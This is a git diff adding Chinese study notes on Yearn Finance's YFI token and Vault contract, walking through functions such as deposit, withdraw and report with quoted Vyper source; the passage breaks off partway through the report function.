+通过yearn向Convex的合约质押LP，获得流动性挖矿奖励，产出的CRV、CVX将被出售获得更多的LP。  
+
+## YFI 治理代币  
+YFI是yearn协议的治理代币，总量36666枚，目前全流通，市值6.7亿美元。  
+yearn的收入来源主要是基础管理费用和投资绩效费用。     
+20% 投资绩效费：只有当策略产生盈利时才收取20%的费用。  
+2% 管理费：不管策略是否盈利，都会收取2%的费用。  
+YFI代币持有者可以对社区提案投票，并获得协议收入的分红。  
+
+## 合约代码  
+[Vault](https://github.com/yearn/yearn-vaults) 源码都放在 github 上。 
+访问 githubb ，然后 clone 源码到本地即可查看具体的代码实现。  
+具体参考如下命令 
+```shell
+git clone https://github.com/yearn/yearn-vaults.git 
+```
+
+## 参考链接：
+- notion: https://yearnfinance.notion.site/  
+- github: https://github.com/yearn 
+- yearn 官网: https://yearn.finance/#/portfolio   
+- yearn 文档: https://docs.yearn.finance/  
+- 机制原理介绍: https://mirror.xyz/0xB96A958A82eCAbab9e7cF14ae538c38996f2C7B6/9NtcTStvDYW3JpwWnFiYwfvJ12h0rzxQ4dHjRJ2Y06Q  
+- yearn 代码解析: https://illustrious-soup-aa9.notion.site/Yearn-1a756cb0618148768be06c327ce6d649     
diff --git a/defi/YFI/yearnVault/00-Summary.md b/defi/YFI/yearnVault/00-Summary.md
new file mode 100644
index 000000000..2339be528
--- /dev/null
+++ b/defi/YFI/yearnVault/00-Summary.md
@@ -0,0 +1,4 @@
+如下视频和文章对 YFI 整体机制进行的概述和分析, 解读对应代码之前可以预先看下。  
+
+- youtube: https://youtu.be/wPhNCijEMec && https://youtu.be/y4vAxSsKmRY
+- notion: https://illustrious-soup-aa9.notion.site/Yearn-1a756cb0618148768be06c327ce6d649
\ No newline at end of file
diff --git a/defi/YFI/yearnVault/01-Vault.md b/defi/YFI/yearnVault/01-Vault.md
new file mode 100644
index 000000000..020d08055
--- /dev/null
+++ b/defi/YFI/yearnVault/01-Vault.md
@@ -0,0 +1,693 @@
+# 介绍  
+Vault 是 Yearn 的金库合约，用于存放用户存入的资金，以便后续根据策略进行投资收益。  
+需要注意的是 Vault 使用的 Vyper 开发的合约，需要具备一定的 python 语言基础才能理解合约逻辑。   
+
+## 合约分析  
+Vault 合约包含了许多的接口和本地变量，这里主要讲解主要接口的逻辑功能。 
+
+- initialize  
+用于初始化 Vault 合约，需要在合约初始化之后进行调用。 这里主要设置 Vault name ， Vault symbol 以及几个特权地址，以便后续的运维管理操作。
+需要注意的是 lockedProfitDegradation 这个值的作用，具体意义是收益的锁定周期，这里固定为 6 hours。意味着如果有 100$ 的收益，经过 6 hours 后才能完全释放，这样处理可以防止极端情况下的资金挤兑。  
+因为 46 / 10 ** 6 ==> 1 / ( 10 ** 6 / 46 )  ，其中 10 ** 6 / 46 的计算结果为 21739，约为 6 hours = 60 * 60 * 6 = 21600。之后再进行精度扩展，即乘以 DEGRADATION_COEFFICIENT，最后得到 DEGRADATION_COEFFICIENT * 46 / 10 ** 6。    
+其中 DEGRADATION_COEFFICIENT 字面理解是衰减系数，但实际这里理解为精度扩展系数更合适一些。另外需要注意的是这里 6 hours 的锁定周期没有直接使用 21600 这里数值，而是使用 10 ** 6 / 46 进行计算，应该是为了避免无法整除而造成的精度损失。  
+```python
+def initialize(
+    token: address,
+    governance: address,
+    rewards: address,
+    nameOverride: String[64],
+    symbolOverride: String[32],
+    guardian: address = msg.sender,
+    management: address =  msg.sender,
+    healthCheck: address = ZERO_ADDRESS
+):
+    """
+    @notice
+        Initializes the Vault, this is called only once, when the contract is
+        deployed.
+        The performance fee is set to 10% of yield, per Strategy.
+        The management fee is set to 2%, per year.
+        The initial deposit limit is set to 0 (deposits disabled); it must be
+        updated after initialization.
+    @dev
+        If `nameOverride` is not specified, the name will be 'yearn'
+        combined with the name of `token`.
+
+        If `symbolOverride` is not specified, the symbol will be 'yv'
+        combined with the symbol of `token`.
+
+        The token used by the vault should not change balances outside transfers and
+        it must transfer the exact amount requested. Fee on transfer and rebasing are not supported.
+    @param token The token that may be deposited into this Vault.
+    @param governance The address authorized for governance interactions.
+    @param rewards The address to distribute rewards to.
+    @param management The address of the vault manager.
+    @param nameOverride Specify a custom Vault name. Leave empty for default choice.
+    @param symbolOverride Specify a custom Vault symbol name. Leave empty for default choice.
+    @param guardian The address authorized for guardian interactions. Defaults to caller.
+    """
+    assert self.activation == 0  # dev: no devops199
+    self.token = ERC20(token)
+    if nameOverride == "":
+        self.name = concat(DetailedERC20(token).symbol(), " yVault")
+    else:
+        self.name = nameOverride
+    if symbolOverride == "":
+        self.symbol = concat("yv", DetailedERC20(token).symbol())
+    else:
+        self.symbol = symbolOverride
+    decimals: uint256 = DetailedERC20(token).decimals()
+    self.decimals = decimals
+    assert decimals < 256 # dev: see VVE-2020-0001
+
+    self.governance = governance
+    log UpdateGovernance(governance)
+    self.management = management
+    log UpdateManagement(management)
+    self.rewards = rewards
+    log UpdateRewards(rewards)
+    self.guardian = guardian
+    log UpdateGuardian(guardian)
+    self.performanceFee = 1000  # 10% of yield (per Strategy)
+    log UpdatePerformanceFee(convert(1000, uint256))
+    self.managementFee = 200  # 2% per year
+    log UpdateManagementFee(convert(200, uint256))
+    self.healthCheck = healthCheck
+    log UpdateHealthCheck(healthCheck)
+
+    self.lastReport = block.timestamp
+    self.activation = block.timestamp
+    self.lockedProfitDegradation = convert(DEGRADATION_COEFFICIENT * 46 / 10 ** 6 , uint256) # 6 hours in blocks
+    # EIP-712
+    self.DOMAIN_SEPARATOR = keccak256(
+        concat(
+            DOMAIN_TYPE_HASH,
+            keccak256(convert("Yearn Vault", Bytes[11])),
+            keccak256(convert(API_VERSION, Bytes[28])),
+            convert(chain.id, bytes32),
+            convert(self, bytes32)
+        )
+    )
+```
+
+
+- setWithdrawalQueue  
+用于设置 withDraw 的时候资金提取的顺序，方便后续 Vault 进行资金提取的时候，按照最小影响顺序进行提取。举例来说，此 Vault 有 3 个 Strategy，分配 20% 的资金到第一个 Strategy （ 定期存款 ）， 30% 的资金到第二个 Strategy （ 基金理财 ）， 50% 的资金到第三个 Strategy （ 活期存款 ）。但是第一个 Strategy 资金提取的时候，如果没有达到 Strategy 要求的锁定周期 （ 比如 1 年 ），那么会有 30% 的资金损失，所以不到非必需时候，第一个 Strategy 资金总是要放到最后才提取。 setWithdrawalQueue 就是用于设置资金提取的顺序，最大程度较小收益影响。  
+setWithdrawalQueue 设置的时候，判断逻辑如下：   
+1. 遍历传入的 queue 参数时，如果遇到 queue[i] 为 0 地址，则判断对应位置的 withdrawalQueu[i] 地址是否为 0；如果 withdrawalQueu[i] 不为 0 ，则说明调用者试图移除 withdrawalQueu[i] 的 Strategy , 程序进行报错；如果 withdrawalQueu[i] 为 0，怎说明遍历 queue 结束，退出遍历处理  
+2. 遍历传入的 queue 参数时，如果遇到 queue[i] 不为 0 地址，则需要保证 withdrawalQueu[i] 对应的 Strategy 也是非 0 地址  
+3. 使用 queue 中的 Strategy 替换现有的 withdrawalQueue 中的 Strategy 的时候，需要进行验证，保证传入的 queue 中的 Strategy 已经处于激活状态，避免恶意更新  
+4. 使用一个 set 数组 （ 长度为 32 ） 记录传入的 queue 中的所有 Strategy ，保证没有重复的 Strategy； 因为 withdrawalQueue 中的 Strategy 个数永远小于 32 ，所以可以保证 Set 数值记录排重的时候不会溢出。具体 set 数组记录流程为，首先取 queue[i] 地址的末尾 5 个 bit 位 （ 小于 32 ) 作为在 set 数组中的起始查找位置，步进为 1，如果步进过程中在 set 数组中查找到找相同的 queue[i] 地址，则报错；如果不存在相同地址，且对应 set 位置上地址为 0 地址，则保存当前 queue[i] 地址到 set 中，便于后续查找排重。  
+
+```python
+def setWithdrawalQueue(queue: address[MAXIMUM_STRATEGIES]):
+    """
+    @notice
+        Updates the withdrawalQueue to match the addresses and order specified
+        by `queue`.
+
+        There can be fewer strategies than the maximum, as well as fewer than
+        the total number of strategies active in the vault. `withdrawalQueue`
+        will be updated in a gas-efficient manner, assuming the input is well-
+        ordered with 0x0 only at the end.
+
+        This may only be called by governance or management.
+    @dev
+        This is order sensitive, specify the addresses in the order in which
+        funds should be withdrawn (so `queue`[0] is the first Strategy withdrawn
+        from, `queue`[1] is the second, etc.)
+
+        This means that the least impactful Strategy (the Strategy that will have
+        its core positions impacted the least by having funds removed) should be
+        at `queue`[0], then the next least impactful at `queue`[1], and so on.
+    @param queue
+        The array of addresses to use as the new withdrawal queue. This is
+        order sensitive.
+    """
+    assert msg.sender in [self.management, self.governance]
+
+    set: address[SET_SIZE] = empty(address[SET_SIZE])
+    for i in range(MAXIMUM_STRATEGIES):
+        if queue[i] == ZERO_ADDRESS:
+            # NOTE: Cannot use this method to remove entries from the queue
+            assert self.withdrawalQueue[i] == ZERO_ADDRESS
+            break
+        # NOTE: Cannot use this method to add more entries to the queue
+        assert self.withdrawalQueue[i] != ZERO_ADDRESS
+
+        assert self.strategies[queue[i]].activation > 0
+
+        # NOTE: `key` is first `log_2(SET_SIZE)` bits of address (which is a hash)
+        key: uint256 = bitwise_and(convert(queue[i], uint256), SET_SIZE - 1)
+        # Most of the times following for loop only run once which is making it highly gas efficient
+        # but in the worst case of key collision it will run linearly and find first empty slot in the set.
+        for j in range(SET_SIZE):
+            # NOTE: we can always find space by treating set as circular (as long as `SET_SIZE >= MAXIMUM_STRATEGIES`)
+            idx: uint256 = (key + j) % SET_SIZE
+            assert set[idx] != queue[i]  # dev: duplicate in set
+            if set[idx] == ZERO_ADDRESS:
+                set[idx] = queue[i]
+                break
+
+        self.withdrawalQueue[i] = queue[i]
+
+    log UpdateWithdrawalQueue(queue)
+```
+
+- erc20_safe_transferFrom  
+在用户存入 Token 时进行调用，把用户 Token 转移到 Vault 中来。 
+```python
+def erc20_safe_transferFrom(token: address, sender: address, receiver: address, amount: uint256):
+    # Used only to send tokens that are not the type managed by this Vault.
+    # HACK: Used to handle non-compliant tokens like USDT
+    response: Bytes[32] = raw_call(
+        token,
+        concat(
+            method_id("transferFrom(address,address,uint256)"),
+            convert(sender, bytes32),
+            convert(receiver, bytes32),
+            convert(amount, bytes32),
+        ),
+        max_outsize=32,
+    )
+    if len(response) > 0:
+        assert convert(response, bool), "Transfer failed!"
+```
+
+- _calculateLockedProfit   
+计算还有多少收益处于锁定状态，Vault 或是用户在提取资金的时候，会进行计算
+1. 在 initialize 接口中，我们讲解过 lockedProfitDegradation 表示锁定的是时长。首先计算自上次收益更新以来经过的时长（ 秒 ） lockedFundsRatio
+2. 计算 lockedFundsRatio 对于 lockedProfitDegradation 的占比，比如 lockedFundsRatio 为 2 hours ，那么说明  2 / 6  的 profit 已经解锁，可以使用   
+3. 计算还未解锁的 profit，按照步骤 2 中的计算即为 1 - ( 2 / 6) 的 profit 还为解锁   
+```python
+def _calculateLockedProfit() -> uint256:
+    lockedFundsRatio: uint256 = (block.timestamp - self.lastReport) * self.lockedProfitDegradation
+
+    if(lockedFundsRatio < DEGRADATION_COEFFICIENT):
+        lockedProfit: uint256 = self.lockedProfit
+        return lockedProfit - (
+                lockedFundsRatio
+                * lockedProfit
+                / DEGRADATION_COEFFICIENT
+            )
+    else:
+        return 0
+```
+
+
+- _totalAssets  
+返回当前此 Vault 的总资产数量。self.token.balanceOf(self) 表示当前还留在 Vault 中的资金数量，self.totalDebt 表示 Vault 出借给 Strategy 进行投资收益的资金数量。
+```python 
+def _totalAssets() -> uint256:
+    # See note on `totalAssets()`.
+    return self.token.balanceOf(self) + self.totalDebt
+```
+
+- deposit  
+1. 判断 emergencyShutdown 开关是否打开，如果打开，表示当前合约处于紧急状态，为避免用户资金损失，拒绝用户存入资金 
+2. 判断用户准备存入的资金量大小。即如果传入的参数中 _amount 为 MAX_UINT256，则表示用户想要进行最大量存入，此时判断用户的余额和当前 Vault 最大可存入资金的大小，取其中较小的数进行存入。这里需要说明的是，Vault 有一个 depositLimit 的限制，因为根据收益规律，当使用的本金达到一定量后，单位本金的收益无法随着本金的增大而增大，反而可能减小。所以这里每个 Vault 为了保证最大收益，都设置了 depositLimit  
+类似 UniV2 的 LP token，当用存入 token 到 Vault 的时候，Vault 根据当前 Vault 中的资金以及用户存入的资金，生成对应的份额给用户。举例来说，当前 Vault 中，所有用户存入资金总量为 100$，产生了 20$ 的收益，并且 20$ 收益中，已经解锁了 15$。所有用户的份额总量为 80，那么当用户存入 30$ 的资金时，获得份额 = 80 * ( 30 / ( 100 + 15)) = 20.86。 
+其中 _issueSharesForAmount 为计算用户份额接口，具体计算方式入上所述。  
+```python 
+def deposit(_amount: uint256 = MAX_UINT256, recipient: address = msg.sender) -> uint256:
+    """
+    @notice
+        Deposits `_amount` `token`, issuing shares to `recipient`. If the
+        Vault is in Emergency Shutdown, deposits will not be accepted and this
+        call will fail.
+    @dev
+        Measuring quantity of shares to issues is based on the total
+        outstanding debt that this contract has ("expected value") instead
+        of the total balance sheet it has ("estimated value") has important
+        security considerations, and is done intentionally. If this value were
+        measured against external systems, it could be purposely manipulated by
+        an attacker to withdraw more assets than they otherwise should be able
+        to claim by redeeming their shares.
+
+        On deposit, this means that shares are issued against the total amount
+        that the deposited capital can be given in service of the debt that
+        Strategies assume. If that number were to be lower than the "expected
+        value" at some future point, depositing shares via this method could
+        entitle the depositor to *less* than the deposited value once the
+        "realized value" is updated from further reports by the Strategies
+        to the Vaults.
+
+        Care should be taken by integrators to account for this discrepancy,
+        by using the view-only methods of this contract (both off-chain and
+        on-chain) to determine if depositing into the Vault is a "good idea".
+    @param _amount The quantity of tokens to deposit, defaults to all.
+    @param recipient
+        The address to issue the shares in this Vault to. Defaults to the
+        caller's address.
+    @return The issued Vault shares.
+    """
+    assert not self.emergencyShutdown  # Deposits are locked out
+    assert recipient not in [self, ZERO_ADDRESS]
+
+    amount: uint256 = _amount
+
+    # If _amount not specified, transfer the full token balance,
+    # up to deposit limit
+    if amount == MAX_UINT256:
+        amount = min(
+            self.depositLimit - self._totalAssets(),
+            self.token.balanceOf(msg.sender),
+        )
+    else:
+        # Ensure deposit limit is respected
+        assert self._totalAssets() + amount <= self.depositLimit
+
+    # Ensure we are depositing something
+    assert amount > 0
+
+    # Issue new shares (needs to be done before taking deposit to be accurate)
+    # Shares are issued to recipient (may be different from msg.sender)
+    # See @dev note, above.
+    shares: uint256 = self._issueSharesForAmount(recipient, amount)
+
+    # Tokens are transferred from msg.sender (may be different from _recipient)
+    self.erc20_safe_transferFrom(self.token.address, msg.sender, self, amount)
+    
+    log Deposit(recipient, shares, amount)
+
+    return shares  # Just in case someone wants them
+```
+
+- _reportLoss   
+更新 strategy 投资损失。  
+投资有收益就会有损失，strategy 从 Vault 借贷资金进行投资后，或出现收益，或出现损失的情况。当投资失败，造成损失时，就需要更新相应的 debt 数据。  
+具体判断过程如下：  
+1. 判断上报的资金损失量是否小于 strategy 的债务量。这里进行判断的原因是避免超额上报，比如 strategy 从 Vault 借贷 100$ ，如果此接口上报 loss 为 200$，那么就会出现债务不平衡的情况    
+2. 把上报的 loss 转换为 ratio_change, 用于更新后续的 strategy debtratio 和 Vault 总的 debtRatio    
+3. 用得出的 ratio_change 和 debtRatio 更新。这里可以看到 Vault 会根据 ratio_change 对应减少 strategy 的 debtRatio，应该是当 strategy 亏损的时候，为避免亏损进一步扩大，需要降低分配给此 strtegy 的配额    
+```python
+def _reportLoss(strategy: address, loss: uint256):
+    # Loss can only be up the amount of debt issued to strategy
+    totalDebt: uint256 = self.strategies[strategy].totalDebt
+    assert totalDebt >= loss
+
+    # Also, make sure we reduce our trust with the strategy by the amount of loss
+    if self.debtRatio != 0: # if vault with single strategy that is set to EmergencyOne
+        # NOTE: The context to this calculation is different than the calculation in `_reportLoss`,
+        # this calculation intentionally approximates via `totalDebt` to avoid manipulatable results
+        ratio_change: uint256 = min(
+            # NOTE: This calculation isn't 100% precise, the adjustment is ~10%-20% more severe due to EVM math
+            loss * self.debtRatio / self.totalDebt,
+            self.strategies[strategy].debtRatio,
+        )
+        # If the loss is too small, ratio_change will be 0
+        if ratio_change != 0:
+            self.strategies[strategy].debtRatio -= ratio_change
+            self.debtRatio -= ratio_change
+    # Finally, adjust our strategy's parameters by the loss
+    self.strategies[strategy].totalLoss += loss
+    self.strategies[strategy].totalDebt = totalDebt - loss
+    self.totalDebt -= loss
+```
+
+- withdraw  
+用于从 Vault 中提取资金。因为 Vault 的部分资金已经借贷给 strategy 进行投资，所以当用户提取资金的时候，如果 Vault 中资金不足，需要从 strategy 中进行提取。  
+具体处理过程如下：  
+1. 处理用户传入的需要提取的资金 shares，此数值需要小于用户当前拥有的 share ， 且不能为 0  
+2. 把传入的 share 转换为资金量 value，用于后面提取操作  
+3. 循环从 strategy 中提取可提取的最大资金量到 Vault，同时累积记录从 strategy 提取资金时，造成的 loss    
+4. 遍历 strategy 结束后，如果需要提取的 value 大于当前 Vault 的余额，则设置提取的 value 为 Vault 当前余额  
+5. 判断从 strategy 提取资金过程中，造成的 totalloss 在 ( totalloss + value ) 中的占比是否小于用户传入的 maxLoss。如果大于，则说明此次的提取操作造成了过大的损失，则放弃提取；否则，提取资金  
+
+
+```python
+def withdraw(
+    maxShares: uint256 = MAX_UINT256,
+    recipient: address = msg.sender,
+    maxLoss: uint256 = 1,  # 0.01% [BPS]
+) -> uint256:
+    """
+    @notice
+        Withdraws the calling account's tokens from this Vault, redeeming
+        amount `_shares` for an appropriate amount of tokens.
+
+        See note on `setWithdrawalQueue` for further details of withdrawal
+        ordering and behavior.
+    @dev
+        Measuring the value of shares is based on the total outstanding debt
+        that this contract has ("expected value") instead of the total balance
+        sheet it has ("estimated value") has important security considerations,
+        and is done intentionally. If this value were measured against external
+        systems, it could be purposely manipulated by an attacker to withdraw
+        more assets than they otherwise should be able to claim by redeeming
+        their shares.
+
+        On withdrawal, this means that shares are redeemed against the total
+        amount that the deposited capital had "realized" since the point it
+        was deposited, up until the point it was withdrawn. If that number
+        were to be higher than the "expected value" at some future point,
+        withdrawing shares via this method could entitle the depositor to
+        *more* than the expected value once the "realized value" is updated
+        from further reports by the Strategies to the Vaults.
+
+        Under exceptional scenarios, this could cause earlier withdrawals to
+        earn "more" of the underlying assets than Users might otherwise be
+        entitled to, if the Vault's estimated value were otherwise measured
+        through external means, accounting for whatever exceptional scenarios
+        exist for the Vault (that aren't covered by the Vault's own design.)
+
+        In the situation where a large withdrawal happens, it can empty the
+        vault balance and the strategies in the withdrawal queue.
+        Strategies not in the withdrawal queue will have to be harvested to
+        rebalance the funds and make the funds available again to withdraw.
+    @param maxShares
+        How many shares to try and redeem for tokens, defaults to all.
+    @param recipient
+        The address to issue the shares in this Vault to. Defaults to the
+        caller's address.
+    @param maxLoss
+        The maximum acceptable loss to sustain on withdrawal. Defaults to 0.01%.
+        If a loss is specified, up to that amount of shares may be burnt to cover losses on withdrawal.
+    @return The quantity of tokens redeemed for `_shares`.
+    """
+    shares: uint256 = maxShares  # May reduce this number below
+
+    # Max Loss is <=100%, revert otherwise
+    assert maxLoss <= MAX_BPS
+
+    # If _shares not specified, transfer full share balance
+    if shares == MAX_UINT256:
+        shares = self.balanceOf[msg.sender]
+
+    # Limit to only the shares they own
+    assert shares <= self.balanceOf[msg.sender]
+
+    # Ensure we are withdrawing something
+    assert shares > 0
+
+    # See @dev note, above.
+    value: uint256 = self._shareValue(shares)
+
+    if value > self.token.balanceOf(self):
+        totalLoss: uint256 = 0
+        # We need to go get some from our strategies in the withdrawal queue
+        # NOTE: This performs forced withdrawals from each Strategy. During
+        #       forced withdrawal, a Strategy may realize a loss. That loss
+        #       is reported back to the Vault, and the will affect the amount
+        #       of tokens that the withdrawer receives for their shares. They
+        #       can optionally specify the maximum acceptable loss (in BPS)
+        #       to prevent excessive losses on their withdrawals (which may
+        #       happen in certain edge cases where Strategies realize a loss)
+        for strategy in self.withdrawalQueue:
+            if strategy == ZERO_ADDRESS:
+                break  # We've exhausted the queue
+
+            vault_balance: uint256 = self.token.balanceOf(self)
+            if value <= vault_balance:
+                break  # We're done withdrawing
+
+            amountNeeded: uint256 = value - vault_balance
+
+            # NOTE: Don't withdraw more than the debt so that Strategy can still
+            #       continue to work based on the profits it has
+            # NOTE: This means that user will lose out on any profits that each
+            #       Strategy in the queue would return on next harvest, benefiting others
+            amountNeeded = min(amountNeeded, self.strategies[strategy].totalDebt)
+            if amountNeeded == 0:
+                continue  # Nothing to withdraw from this Strategy, try the next one
+
+            # Force withdraw amount from each Strategy in the order set by governance
+            loss: uint256 = Strategy(strategy).withdraw(amountNeeded)
+            withdrawn: uint256 = self.token.balanceOf(self) - vault_balance
+
+            # NOTE: Withdrawer incurs any losses from liquidation
+            if loss > 0:
+                value -= loss
+                totalLoss += loss
+                self._reportLoss(strategy, loss)
+
+            # Reduce the Strategy's debt by the amount withdrawn ("realized returns")
+            # NOTE: This doesn't add to returns as it's not earned by "normal means"
+            self.strategies[strategy].totalDebt -= withdrawn
+            self.totalDebt -= withdrawn
+
+        # NOTE: We have withdrawn everything possible out of the withdrawal queue
+        #       but we still don't have enough to fully pay them back, so adjust
+        #       to the total amount we've freed up through forced withdrawals
+        vault_balance: uint256 = self.token.balanceOf(self)
+        if value > vault_balance:
+            value = vault_balance
+            # NOTE: Burn # of shares that corresponds to what Vault has on-hand,
+            #       including the losses that were incurred above during withdrawals
+            shares = self._sharesForAmount(value + totalLoss)
+            # NOTE: Check current shares must be lower than maxShare.
+            #       This implies that large withdrawals within certain parameter ranges might fail.
+            assert shares <= maxShares
+
+        # NOTE: This loss protection is put in place to revert if losses from
+        #       withdrawing are more than what is considered acceptable.
+        assert totalLoss <= maxLoss * (value + totalLoss) / MAX_BPS
+
+
+    # Burn shares (full value of what is being withdrawn)
+    self.totalSupply -= shares
+    self.balanceOf[msg.sender] -= shares
+    log Transfer(msg.sender, ZERO_ADDRESS, shares)
+
+    # Withdraw remaining balance to _recipient (may be different to msg.sender) (minus fee)
+    self.erc20_safe_transfer(self.token.address, recipient, value)
+    log Withdraw(recipient, shares, value)
+    
+    return value
+```
+
+
+- _debtOutstanding  
+在一些情况下，会出现 strategy 的 debt 超过它的上限的情况。比如 Vault 总资金为 100$，分给 strategy_1 的 debt 为 10% ( 10$ ), 分给 strategy_2 的 debt 为 10% ( 10$ )。 
+当 strategy_1 report loss 5$ 后，Vault 的总资金量变为 95$，此时 strategy_2 占据的 debt 比例为 10 / 95 = 10.5% > 10% 上限，此时就需要从 strategy 中回转部分资金到 Vault 中。 
+而 _debtOutstanding 的作用就是计算这个情况下，strategy 需要返还给 Vault 的资金量。 
+```python
+@view
+@internal
+def _debtOutstanding(strategy: address) -> uint256:
+    # See note on `debtOutstanding()`.
+    if self.debtRatio == 0:
+        return self.strategies[strategy].totalDebt
+
+    strategy_debtLimit: uint256 = (
+        self.strategies[strategy].debtRatio
+        * self._totalAssets()
+        / MAX_BPS
+    )
+    strategy_totalDebt: uint256 = self.strategies[strategy].totalDebt
+
+    if self.emergencyShutdown:
+        return strategy_totalDebt
+    elif strategy_totalDebt <= strategy_debtLimit:
+        return 0
+    else:
+        return strategy_totalDebt - strategy_debtLimit
+```
+
+- _assessFees  
+这个接口，是根据 strategy 传入的收益 gain 计算 performance_fee / strategist_fee / management_fee。
+_assessFees 主要为 report 接口服务。当 strategy 通过 report 接口上报赚取的收益 gain 的时候，在进行收益分配前， Vault 会先把收益中的 performance_fee / strategist_fee / management_fee 分配给 strategy 和 rewards，之后再把剩余的 gain 分配给 Vault 中的代币质押者。 
+其中在计算 management_fee 的时候， strategy.delegatedAssets() 可能出现不为 0 的情况，即当前 strategy 同时代理了其他的 Vault 资金。
+```python
+def _assessFees(strategy: address, gain: uint256) -> uint256:
+    # Issue new shares to cover fees
+    # NOTE: In effect, this reduces overall share price by the combined fee
+    # NOTE: may throw if Vault.totalAssets() > 1e64, or not called for more than a year
+    if self.strategies[strategy].activation == block.timestamp:
+        return 0  # NOTE: Just added, no fees to assess
+
+    duration: uint256 = block.timestamp - self.strategies[strategy].lastReport
+    assert duration != 0 #dev: can't call assessFees twice within the same block
+
+    if gain == 0:
+        # NOTE: The fees are not charged if there hasn't been any gains reported
+        return 0
+
+    management_fee: uint256 = (
+        (
+            (self.strategies[strategy].totalDebt - Strategy(strategy).delegatedAssets())
+            * duration
+            * self.managementFee
+        )
+        / MAX_BPS
+        / SECS_PER_YEAR
+    )
+
+    # NOTE: Applies if Strategy is not shutting down, or it is but all debt paid off
+    # NOTE: No fee is taken when a Strategy is unwinding it's position, until all debt is paid
+    strategist_fee: uint256 = (
+        gain
+        * self.strategies[strategy].performanceFee
+        / MAX_BPS
+    )
+    # NOTE: Unlikely to throw unless strategy reports >1e72 harvest profit
+    performance_fee: uint256 = gain * self.performanceFee / MAX_BPS
+
+    # NOTE: This must be called prior to taking new collateral,
+    #       or the calculation will be wrong!
+    # NOTE: This must be done at the same time, to ensure the relative
+    #       ratio of governance_fee : strategist_fee is kept intact
+    total_fee: uint256 = performance_fee + strategist_fee + management_fee
+    # ensure total_fee is not more than gain
+    if total_fee > gain:
+        total_fee = gain
+    if total_fee > 0:  # NOTE: If mgmt fee is 0% and no gains were realized, skip
+        reward: uint256 = self._issueSharesForAmount(self, total_fee)
+
+        # Send the rewards out as new shares in this Vault
+        if strategist_fee > 0:  # NOTE: Guard against DIV/0 fault
+            # NOTE: Unlikely to throw unless sqrt(reward) >>> 1e39
+            strategist_reward: uint256 = (
+                strategist_fee
+                * reward
+                / total_fee
+            )
+            self._transfer(self, strategy, strategist_reward)
+            # NOTE: Strategy distributes rewards at the end of harvest()
+        # NOTE: Governance earns any dust leftover from flooring math above
+        if self.balanceOf[self] > 0:
+            self._transfer(self, self.rewards, self.balanceOf[self])
+    return total_fee
+```
+
+- report  
+strategy 调用这个接口，上报相应的 收益/损失/需要偿还的债务，接口中传入的三个参数分别对应这三个值。  
+具体处理过程如下：
+1. 对 strategy 进行健康检查，通过检查后再继续后续的处理 （ 具体的健康检查处理可以参考 CommonHealthChceck.md ) 
+2. 检查当前调用此接口的 strategy 余额是否大于 gain + _debtPayment ，因为此数值是 strategy 需要支付给 Vault 的金额，需要保证 strategy 余额充足    
+3. 调用 _reportLoss 接口处理 strategy 上报的 loss。这里先处理 loss ，可以保证 strategy 对应的 debtRatio 的更新正确。
+4. 根据 strategy 上报的 debtPayment 和 strategy 实际的 debt 更加 strategies.debt 和 totalDebt。其中 strategy 实际的 debt 就是根据 strategy 当前的 debtRatio 和  strategies.debt，计算出 strategy 需要返还给 Vault 的资金数量   
+5. 计算 strategy 剩余的 credit。这里的 credit 就是根据 strategy 的 debtRatio 计算出 strategy 能从 Vault 获取的最大的配额，然后计算和 strategy 当前的 debt 差值 ，最终得出 strategy 剩余的 credit  
+6. 计算最终代币的转移方向。gain + debtPayment 是 strategy 需要支付给 Vault 的资金，credit 则是 Vault 需要支付给 strategy 的资金。这里对比这两个数值，可以得出是需要 Vault 支付给 strategy 还是 strategy 需要支付给 Vault  
+7. 计算 lockedProfit 。 这里先计算 lockedProfitBeforeLoss = self._calculateLockedProfit() + gain - totalFees ，得出当前可以用户锁定的 profit 是多少。注意到， report 接口上报的时候，是传入了一个 loss 参数，用于 strategy 上报亏损。Vault 会对比 lockedProfitBeforeLoss 和 loss 的数值，如果 lockedProfitBeforeLoss 大于 loss, 那么会从 lockedProfitBeforeLoss 中拿出 loss 大小的资金，用于填补 strategy 造成的损失，剩余的 profit 再进入锁定期。如果 lockedProfitBeforeLoss 小于 loss, 则 lockedProfitBeforeLoss 全部用于填补 strategy 的 loss
+```python
+def report(gain: uint256, loss: uint256, _debtPayment: uint256) -> uint256:
+    """
+    @notice
+        Reports the amount of assets the calling Strategy has free (usually in
+        terms of ROI).
+
+        The performance fee is determined here, off of the strategy's profits
+        (if any), and sent to governance.
+
+        The strategist's fee is also determined here (off of profits), to be
+        handled according to the strategist on the next harvest.
+
+        This may only be called by a Strategy managed by this Vault.
+    @dev
+        For approved strategies, this is the most efficient behavior.
+        The Strategy reports back what it has free, then Vault "decides"
+        whether to take some back or give it more. Note that the most it can
+        take is `gain + _debtPayment`, and the most it can give is all of the
+        remaining reserves. Anything outside of those bounds is abnormal behavior.
+
+        All approved strategies must have increased diligence around
+        calling this function, as abnormal behavior could become catastrophic.
+    @param gain
+        Amount Strategy has realized as a gain on it's investment since its
+        last report, and is free to be given back to Vault as earnings
+    @param loss
+        Amount Strategy has realized as a loss on it's investment since its
+        last report, and should be accounted for on the Vault's balance sheet.
+        The loss will reduce the debtRatio. The next time the strategy will harvest,
+        it will pay back the debt in an attempt to adjust to the new debt limit.
+    @param _debtPayment
+        Amount Strategy has made available to cover outstanding debt
+    @return Amount of debt outstanding (if totalDebt > debtLimit or emergency shutdown).
+    """
+
+    # Only approved strategies can call this function
+    assert self.strategies[msg.sender].activation > 0
+
+    # Check report is within healthy ranges
+    if self.healthCheck != ZERO_ADDRESS:
+        if HealthCheck(self.healthCheck).doHealthCheck(msg.sender):
+            strategy: address  = msg.sender
+            _debtOutstanding: uint256 = self._debtOutstanding(msg.sender)
+            totalDebt: uint256 = self.strategies[msg.sender].totalDebt
+
+            assert(HealthCheck(self.healthCheck).check(strategy, gain, loss, _debtPayment, _debtOutstanding, totalDebt)) #dev: fail healthcheck
+        else:
+            strategy: address  = msg.sender
+            HealthCheck(self.healthCheck).enableCheck(strategy)
+
+    # No lying about total available to withdraw!
+    assert self.token.balanceOf(msg.sender) >= gain + _debtPayment
+
+    # We have a loss to report, do it before the rest of the calculations
+    if loss > 0:
+        self._reportLoss(msg.sender, loss)
+
+    # Assess both management fee and performance fee, and issue both as shares of the vault
+    totalFees: uint256 = self._assessFees(msg.sender, gain)
+
+    # Returns are always "realized gains"
+    self.strategies[msg.sender].totalGain += gain
+
+    # Compute the line of credit the Vault is able to offer the Strategy (if any)
